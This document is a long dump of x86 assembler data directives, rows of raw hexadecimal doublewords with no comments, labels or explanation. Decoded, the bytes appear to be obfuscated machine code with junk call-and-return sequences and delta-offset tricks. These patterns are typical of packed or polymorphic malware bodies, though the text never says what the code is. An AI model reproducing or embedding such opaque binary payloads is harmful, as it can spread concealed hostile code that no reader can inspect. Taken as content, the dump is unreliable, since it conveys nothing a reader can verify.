		dd 0E08A65F3h, 0BD8B5F12h, 61E3085h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8D1B5BC3h
		dd 0F730B9B1h, 2C21BD89h, 858D061Eh, 61E0079h, 48950F8h
		dd 9E924h, 0E8770000h, 0AFB9460Ah, 0FF74D5C0h, 1E02D195h
		dd 6E906h, 0BFA10000h, 0D3D15803h, 798D8Dh, 6A061Eh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BE66DBC3h, 1C70CC3h, 0
		dd 141D8D89h, 41C7061Eh, 4, 85B58B00h, 66061E20h, 0C00BF18Bh
		dd 73840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8BD339C3h, 1E03E9BDh, 0B88D8D06h
		dd 6A061E4Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 313DC357h, 72202418h, 8B75AEB6h
		dd 7E8F3h, 48C50000h, 7202708Dh, 0A18501D0h, 5F061E2Ah
		dd 5B8h, 0DEBF6600h, 8BE1FF04h,	1E2FC1BDh, 0E9CA0306h
		dd 0FFFFF183h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	8EC35343h, 8F8592FDh, 11800Fh, 6E90000h, 85000000h
		dd 8DE7521Ch, 29BD8B45h, 8B061E09h, 1E137DBDh, 8BFE8B06h
		dd 0F68166C1h, 4EB0E3Eh, 0
		dd 63EE8166h, 0F0B70F67h, 19DD858Dh, 6A061Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D221BCC3h
		dd 0E87B5528h, 66AAB7AEh, 9079E0BEh, 579970BEh,	800F5043h
		dd 19h,	14E9h, 0B62DB500h, 0F0232BF7h, 2AAC7E0Ah, 6F853206h
		dd 57F24A04h, 0B58B9045h, 61E1D8Dh, 0F38B006Ah,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0A45EE6C3h, 285BC109h, 810F5644h, 6,	32BDBD29h, 8B5E061Eh
		dd 1E20BDB5h, 7F858D06h, 0BE0621E2h, 322F02D9h,	6005C083h
		dd 4359D89h, 61F5061Eh,	24048950h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0F6C35646h,	171D9589h, 6A061Eh
		dd 6880Fh, 0B58B0000h, 61E2F6Dh, 840F006Ah, 0
		dd 21ED95FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0BE59A7C3h, 7CACACFBh, 94B69D8Dh
		dd 6A0621h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0DDD72CC3h, 3D7E7D34h, 0D3FFD657h, 1E41B523h
		dd 85FF061Eh, 61E1D91h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 7C35242h, 0EBEFDB3Fh,	0E9649CF6h, 902h
		dd 0E8h, 0ED815D00h, 621E289h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 15C35343h, 0D64B21A7h, 0EDBD8101h
		dd 0D0061E14h, 0F000007h, 13686h, 619D2900h, 8B061E17h
		dd 1E15219Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 95892C1Eh, 61E19C1h, 0C458D09h, 0E381061Eh
		dd 100h, 7B5B589h, 0DB0B061Eh, 0A3850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0A7D01BC3h, 2BF38B66h, 1E00BDB5h, 4BD8306h, 621E1h
		dd 2F840Fh, 66560000h, 0B85ECE81h, 8FE95Eh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0C34DF5C3h, 1BA4E0ECh, 485C744h, 10621E1h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 434DC351h, 0D53475BFh, 0D4FABA70h, 0E1DB50Bh
		dd 32E9061Eh, 8B000000h, 1E020DB5h, 485C706h, 621E1h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0D78BC355h, 0B3BE6632h, 219D8D36h, 0F061E15h
		dd 68Eh, 0A9BD8900h, 81061E22h,	0FFFEFF23h, 5FCE81FFh
		dd 66030E79h, 0C3F6DB8Ch, 82840F04h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 91E1C350h, 0FF5AA431h, 1E1A8D95h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 8D898284h
		dd 61E1D2Dh, 2C118509h,	0E990061Eh, 11h, 0BFE32B37h, 0A12949D5h
		dd 0FF670B07h, 4D9BFDA1h, 52505099h, 68A0Fh, 830F0000h
		dd 0
		dd 0F28B310Fh, 8990585Ah, 1E1D69B5h, 3C4E906h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0EAF28FC3h, 7A209C92h, 8B00B033h, 1E2F5DB5h,	8B70E606h
		dd 6A71E4F2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0D21FC357h, 81BEE0C6h,	0D8B60F1Ah
		dd 659D8960h, 8B061E29h, 6BA61DEh, 29000000h, 1E03619Dh
		dd 60C38B06h, 2BF59589h, 8166061Eh, 611315F2h, 6A04E8C1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 5894C350h, 1485B58Bh, 0F766061Eh,	0F1BF0FE2h
		dd 0B58BD82Bh, 61E02C9h, 241C8950h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0B7C35040h,	5A7D3814h, 0BF0FE0DAh
		dd 0FE9F1h, 743E0000h, 7A6D2E3Fh, 43E152FEh, 0AE7559F3h
		dd 0EDB5FFBAh, 6A061E14h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 5941C357h, 68A0FFBh
		dd 29000000h, 1E051985h, 0ADBE6606h, 0C195FF0Ch, 0B0061E26h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 7CB0363Dh, 214D9D31h, 70E6061Eh,	0A20AEBBEh
		dd 6A71E479h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 3134C351h, 28A61EF1h, 7DE1C4E9h
		dd 29DDB58Bh, 613C061Eh, 23C830Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0BF54DC3h
		dd 4AECCDFDh, 0F0F681CAh, 665EDE3Dh, 0F467C681h, 6AD8B60Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 5F02C353h, 84BD3BD0h, 6BA8DD2h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0D4BCC355h, 0E8360C10h, 0Eh, 6E2C83F4h, 76BCF434h
		dd 6F68EB99h, 8B5E36E1h, 0D5B58BC3h, 0C1061E01h, 6A04E8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 29052FC3h, 0B1EE9535h, 6890F54h, 89000000h, 1E0F118Dh
		dd 0CE906h, 0FBDA0000h,	0C11501B5h, 888CD8AFh, 0F76683E2h
		dd 0D82BF8E2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	6FC35747h, 0A91FF9FFh, 0D1C6C5F8h, 52006A58h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0BAF2BF4Ah, 50A7CE44h, 8D8958E0h, 61E2A05h, 880FD82Bh
		dd 106h, 1319D29h, 0B9FC061Eh, 7, 236DB523h, 0C183061Eh
		dd 0F2B70F00h, 860FD93Bh, 0E6h,	0DE9h, 6303B800h, 14F31061h
		dd 0E985DCF4h, 0F08BB3FFh, 6AD98C66h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0D8A6C351h
		dd 0F600E84Dh, 840F04C1h, 76h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 3CC35343h, 0BFD85844h, 0AD8D8970h
		dd 0FF061E13h, 1E1A8D95h, 3DB50306h, 5B061E22h,	5E9C32Bh
		dd 0FD000000h, 2CD84F64h, 8343Dh, 2B860F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0B7C9C352h, 0E9954DDFh, 36h, 1ADB523h, 0C08B061Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 9C35343h
		dd 0A3AF12CCh, 0AC205E8Ah, 0F78B66E4h, 0EE59D89h, 0C38B061Eh
		dd 6AD88Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 7280E7C3h, 7A6E1AD6h, 89958971h, 0C7061E1Ah
		dd 1E226D85h, 5D053306h, 0F2DE811Bh, 8B74890Ch,	0EDBD81C0h
		dd 0D0061E14h, 0F000007h, 0E85h, 99B58B00h, 8B061E31h
		dd 0ED85FFF3h, 0FF061E14h, 1E14EDB5h, 0C195FF06h, 6A061E26h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0CB97C353h, 8B90F38Bh, 0BE857D8h,	4C000000h
		dd 0F61A0EA7h, 0F96E6BADh, 85897758h, 61E2965h,	0BD835E5Eh
		dd 61E3351h, 17840F00h,	89000000h, 1E024DB5h, 34DE8106h
		dd 0E90E9603h, 25Dh, 2276C681h,	0DF8C1EB1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C4C35040h, 7879D19Eh
		dd 38823843h, 7C9B589h,	0F766061Eh, 0F0004C7h, 22085h
		dd 57FF2B00h, 0CE9h, 30470100h,	0FCEE6635h, 0A5BDA29Bh
		dd 9D8D5E7Dh, 621EB0Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 21C35545h, 61B76BF4h,	0BD89E0DCh, 61E143Dh
		dd 0EDB58B53h, 5E061E29h, 0DE950h, 64DE0000h, 89344936h
		dd 0D7130203h, 89F0C5EAh, 6A241Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0F45553C3h, 0D77AFCBFh
		dd 66177C4Bh, 64C2A7BEh, 35FFh,	0E9500000h, 5, 0E3589527h
		dd 830F5E5Ah, 6, 2FD98D89h, 8964061Eh, 25h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 4A10A2B4h, 0A1EE8166h, 747BBE0Bh, 0C48B6EF7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8CC35545h, 0DC416323h
		dd 89DD3640h, 1E00C595h, 0EB01CD06h, 9E900h, 9BF10000h
		dd 9DAB8301h, 6A534AC7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 1D96C355h, 8F641AB3h
		dd 5, 0D5B58B00h, 83061E0Dh, 0C00B04C4h, 0D3840Fh, 0BF0F0000h
		dd 0B8BD8DF7h, 6A061E4Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 4A70C351h, 5B87A96h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 5D58C355h, 7D4FAF4Eh, 0E7FF1657h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0F0C35040h
		dd 0F86C4D94h, 5C8B572Eh, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh
		dd 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0FC94C351h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7EC35545h
		dd 6E8A35BEh, 0E9CA2B2Ah, 0FFFFF710h, 759B58Bh,	800F061Eh
		dd 6, 1FB19589h, 0C18B061Eh, 2D9B52Bh, 0F38B061Eh, 4EBh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 7D6F74C3h, 8528E237h, 0DD858DF8h,	66061E19h
		dd 50BB6BBFh, 0F98B5250h, 0AE9310Fh, 79000000h,	0DB47E2A4h
		dd 82235D97h, 89585AC1h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 5D764C3h, 12E9C1h, 86120000h
		dd 0DED39598h, 726135DDh, 1B6FA28Dh, 0EB83C1A1h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 64C018C3h, 57BD6CE0h, 13E9h,	3715C700h, 4C015A8Ah, 8FA9DC78h
		dd 77520CECh, 0C32CC656h, 1006A5Eh, 1E02AD8Dh, 71858D06h
		dd 0BE0621EDh, 1C4B3F38h, 2905C083h, 1E32DDBDh,	8B669006h
		dd 0F18B50F7h, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 2CCB3822h, 7D0CBE66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0E305A9C3h, 6AF9B70Fh
		dd 0EE68100h, 0FF570600h, 1E21ED95h, 7E906h, 585E0000h
		dd 0B16EF3E2h, 0B69D8DD4h, 6A062194h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7690C353h
		dd 12E81015h, 1C000000h, 18D99A4Ah, 8930CB3Ch, 3D1890D7h
		dd 80547641h, 0BE859h, 3B850000h, 6DB04D10h, 0BDCEBA1Ch
		dd 5BBE6639h, 665E5F3Ah, 0B330CF81h, 0F56D3FFh,	683h, 89BD2300h
		dd 5E061E07h, 1D9185FFh, 6A061Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0CC67C2C3h, 7BCDB2B0h
		dd 0BD89E320h, 61E19F5h, 0EBB8A2BFh, 90EE938h, 0E80000h
		dd 5D000000h, 0ED7BED81h, 0BD8B0621h, 61E2211h,	14EDBD81h
		dd 7D0061Eh, 860F0000h,	1E9h, 6E857h, 0CB2F0000h, 0B561EE85h
		dd 12E9h, 7C39E400h, 22BA08FDh,	0B33EC3D7h, 0EA2A080Dh
		dd 5FE6DE3Ah, 0F99D8B5Eh, 6A061E0Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A858C351h
		dd 0E3818Dh, 6A000001h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 44F0C356h, 0F099AD4Ch
		dd 0B70F38E0h, 0FDB0BFEh, 10685h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0C850FC8h
		dd 0F000000h, 689h, 0FDBD0B00h,	57061E2Ch, 0BE8h, 0A950A600h
		dd 7296B2FBh, 8F4FD11Ch, 8C0Fh,	5F5E0000h, 0EB92BD83h
		dd 0F000621h, 6C84h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 5AC06E80h, 0C1CE8156h
		dd 5F68815Dh, 0B2E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0A9DE07FEh, 21E7549h
		dd 10E94B60h, 0CF000000h, 42F5EA27h, 0D173F1ECh, 0F78B0874h
		dd 0B5A5866h, 1E0D71B5h, 9285C706h, 10621EBh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8B9EC355h, 1E2CE5B5h, 41E906h, 10E90000h
		dd 0D7000000h, 89CFAB2h, 8438843h, 0EA4E5EB0h, 0C7119566h
		dd 21EB9285h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0E18D89E0h, 8D061E22h
		dd 1E0DF99Dh, 31B58B06h, 81061E2Bh, 0FFFEFF23h,	56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0CA755D89h, 8BB126B7h, 1E04C1BDh, 0DB8C6606h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0C4C35747h, 60553F41h
		dd 1AF18D33h, 0BE60061Eh, 6E956D76h, 8A0Fh, 61610000h
		dd 15259D89h, 0C3F6061Eh, 79840F04h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0FFDEC357h, 1E1A8D95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 3DF8DB1h, 8BF9C238h
		dd 1E0281B5h, 50605006h, 880Fh,	66580000h, 61FB91BAh, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0FEC8C356h, 3F8E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0DE8279Bh
		dd 6B000000h, 0E887DA5Bh, 0DCBA1AFAh, 0CAE837D3h, 29DDB58Bh
		dd 0B05E061Eh, 0E5BD8B00h, 66061E09h, 70E6FB8Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 23C35242h, 11E9BCh
		dd 16910000h, 78F001h, 9B80864Ah, 3BD7AAE6h, 667FA85Ah
		dd 0FED91BFh, 71E4FFBFh, 7E8h, 0DC49AE00h, 1AD84DC8h, 1609BD23h
		dd 0F5E061Eh, 8C0FD8B6h, 0
		dd 6BAh, 8DFDBF00h, 0C38B51D3h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 21C35646h, 4C7B690Bh, 1EDE2DAh
		dd 1E052185h, 4E8C106h,	290D9589h, 0F766061Eh, 55006AE2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 9CFF4A5h, 1E194995h,	0FE906h, 32640000h, 40581C2Bh
		dd 0C48F71D2h, 40C18CBFh, 6AD82BE5h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F2E6C351h
		dd 39C56DFBh, 8B66F6B3h, 8B6650FBh, 241C89FBh, 14EDB5FFh
		dd 6A061Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 3C924AC3h, 73E2D805h, 0BE9h, 7BC62F00h, 0D1B9C023h
		dd 0E1E63042h, 26C195FFh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0ACBDD3C3h, 0B589F0F3h
		dd 61E0011h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0E67558C3h, 0C9BD8B70h, 0E4061E2Bh
		dd 0F6CF8171h, 3C231854h, 1A830F61h, 6A000002h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F14C356h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0C4405AC3h, 82A327CEh, 830F5741h
		dd 6, 2FEDBD8Bh, 0BA5F061Eh, 6,	0CED9D29h, 0C38B061Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C4C35343h
		dd 0FA92B75h, 18Ah, 0E8C1F900h,	0F9852904h, 66061E21h
		dd 0BF0FE2F7h, 6AD82BFFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0BBCDC355h,	0E807BEC9h
		dd 5CBE756Ah, 5830500Fh, 1949BD8Bh, 0D82B061Eh,	14F880Fh
		dd 0BD8B0000h, 61E0DE5h, 7B9h, 6D958900h, 83061E32h, 6A00C1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 5829BEC3h, 4CDDDFC7h, 0BD8BC574h, 61E217Dh, 860FD93Bh
		dd 109h, 8C78166h, 0D781666Fh, 8C6641D3h, 50006AD9h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 33BDF8B1h, 1BFE7E4h,	1E09559Dh, 4C1F606h, 8A840Fh, 95FF0000h
		dd 61E1A8Dh, 2C61B503h,	0F95B061Eh, 6AC32Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 343DBDC3h
		dd 0F000008h, 5386h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 5737D8A0h, 89394C70h
		dd 1E1AA195h, 0A8C0F06h, 0F000000h, 48Fh, 0C9BE6600h, 57E9CEh
		dd 11E90000h, 6F000000h, 0D00935F5h, 8C6D2025h,	5D09780Fh
		dd 87C59BF5h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 11CE06C3h, 2F558589h, 10E9061Eh
		dd 0BC000000h, 6C09598Fh, 295C8234h, 0A9DE07FEh, 311E7549h
		dd 1E2699BDh, 8BC38B06h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 4EFD9285h, 9D298A0Fh
		dd 61E0CEDh, 152185C7h,	0D715061Eh, 0BF0F589Bh,	6AC08BF0h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0E1F4C350h, 0AB28A8CDh, 91BD8960h, 8B061E08h
		dd 0BD8161CBh, 61E14EDh, 7D0h, 44850Fh,	6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 8EFE7EC3h, 80D0BEA1h, 0FE9B585h, 6F000000h, 3DF0ECB3h
		dd 0D0FC1D29h, 5E03859Eh, 9D89A6BFh, 61E0839h, 14ED85FFh
		dd 0B5FF061Eh, 61E14EDh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 5AC35141h, 12AF5BBEh,	66435020h, 0FCB8DE81h
		dd 0FF5FFC52h, 1E26C195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0DD598B1Ah
		dd 5358A516h, 0F78178C2h, 16119E8Fh, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 4D9DA96Ah
		dd 3A0D05DBh, 459D8987h, 89061E2Bh, 1E0D7D9Dh, 79B58906h
		dd 89061E21h, 1E127DB5h, 0C1BD2906h, 6A061E04h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0F07DC357h, 88A67EC4h, 6ACAB14Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5708C355h
		dd 898D10FBh, 1E01518Dh, 0C9F68106h, 6A4D61ECh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 50A4C352h, 383D947h,	1FFDB58Bh, 63BF061Eh, 0BE2B83D9h
		dd 29D0251h, 1731BD03h,	8960061Eh, 1E22918Dh, 15BD0906h
		dd 0B6061E19h, 6A619Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 117A0EC3h, 16820FCAh, 29000000h
		dd 1E1285BDh, 0BE906h, 8910000h, 815F79BEh, 27F27AA9h
		dd 0F704E997h, 0DE9FFFFh, 0C8000000h, 0BBDE89B9h, 80AD1DE0h
		dd 1F0462F8h, 8589C18Bh, 61E0131h, 4EBh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 1DE6D4C3h, 0B32EF781h, 6A43E8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 858D3FC3h, 61E19DDh
		dd 31118D89h, 6690061Eh, 50BD98BEh, 10E9h, 31F11A00h, 0C31C2404h
		dd 3629E42Dh, 3E7D74C4h, 6A9045h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 7123FAC3h, 0F006AEEh
		dd 0B58BF6B7h, 61E2C29h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 6D50AAC3h, 85E439BCh
		dd 4C858D21h, 0F0621F8h, 58Ch, 0CE816600h, 0C08313B2h
		dd 5BD0B05h, 50061E30h,	850F56h, 5F000000h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 6AAFC355h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0DDA1DF3Bh, 66D892AEh
		dd 0AEEAEE81h, 0F856006Ah, 0ED95FF5Eh, 6A061E21h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0F896C350h, 0CE9A8h,	2D110000h, 0A5FB6A5Ah, 0F129392Bh
		dd 0B529D0E6h, 61E18DDh, 94B69D8Dh, 6A0621h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FF0326C3h
		dd 0F9BD01D3h, 0FF061E04h, 1E1D9185h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 9B5DBF9Bh, 0B58B56EDh, 61E29E5h, 8D5E9h, 0E800h, 815D0000h
		dd 21F856EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0E89AD391h, 0D95B4097h, 0BF6623FFh
		dd 0BD81758Bh, 61E14EDh, 7D0h, 155860Fh, 95890000h, 61E01F5h
		dd 9BD9D8Bh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD29EAC3h, 61E1A15h, 100E381h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 31B1F5C3h, 9E98E9C4h, 8DB58B5Dh, 0B061E30h
		dd 61850FDBh, 81000000h, 0AAA04BEEh, 8EBD8302h,	621F6h
		dd 12840Fh, 0BE660000h,	7AE9D2B1h, 31000000h, 1E2A518Dh
		dd 0F08B6606h, 0F68E85C7h, 10621h, 0BD890000h, 61E2F65h
		dd 2255BD8Bh, 56E9061Eh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C88C355h
		dd 0F9BF0F8Eh, 0F68E85C7h, 621h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0C940B5C3h
		dd 8E9h, 0D619600h, 99C157DEh, 0BD9D8DDCh, 6A061E09h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0EF6CC350h, 7A780AF2h, 0FF23815Bh, 6AFFFFFEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0FC58C350h, 0E96D9BDDh, 7, 0D0307C16h, 66AE0522h, 6ADB8Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 42B345C3h, 68B0F4Ah,	8B000000h, 1E2209B5h, 8DB58B06h
		dd 0F061E19h, 581h, 0DF816600h,	0C3F6E7F7h, 6A840F04h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 3687C351h, 0E3DD14DAh,	8D95FFC9h
		dd 89061E1Ah, 1E05A585h, 0BF665006h, 4895939h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E9EF73C7h, 0Bh, 0DD4E9BA8h,	0E57DE5E5h, 89093F45h
		dd 1E00F5BDh, 472E906h,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 3F8968C3h, 80E0E82Dh
		dd 0B0829F75h, 6A70E600h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0C658C353h,	0E489D1CEh
		dd 0F08B6671h, 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0D343C357h,	6BAh, 0EDB50B00h
		dd 8B061E0Ch, 800FC3h, 0C1000000h, 6A04E8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 81660EC3h
		dd 60F6BAF7h, 1E3DB589h, 0BD01061Eh, 61E2DC9h, 0E2F76661h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C35646h
		dd 8D29D82Bh, 61E09C5h,	7E86093h, 0AF000000h, 0D7A9D423h
